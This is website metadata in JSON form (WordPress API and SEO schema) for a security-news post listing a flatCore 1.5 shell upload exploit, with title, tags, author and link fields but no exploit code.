class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31168#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31168\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821\",\"datePublished\":\"2025-12-15T11:42:53+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31168\"},\"wordCount\":2354,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31168#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31168\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31168\",\"name\":\"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-15T11:42:53+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31168#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31168\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31168#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31168","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:52:43&#8243;,&#8221;description&#8221;:&#8221;flatCore version 1.5 proof of concept remote shell upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 flatCore 1.5 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212821&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2019-13961&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : flatCore 1.5 Advanced File Upload Exploit |n...","og_url":"https:\/\/zero.redgem.net\/?p=31168","og_site_name":"zero redgem","article_published_time":"2025-12-15T11:42:53+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31168#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31168"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821","datePublished":"2025-12-15T11:42:53+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31168"},"wordCount":2354,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31168#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31168","url":"https:\/\/zero.redgem.net\/?p=31168","name":"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-15T11:42:53+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31168#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31168"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31168#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 flatCore 1.5 Shell Upload_PACKETSTORM:212821"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31168","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31168"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31168\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31168"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31168"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31168"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}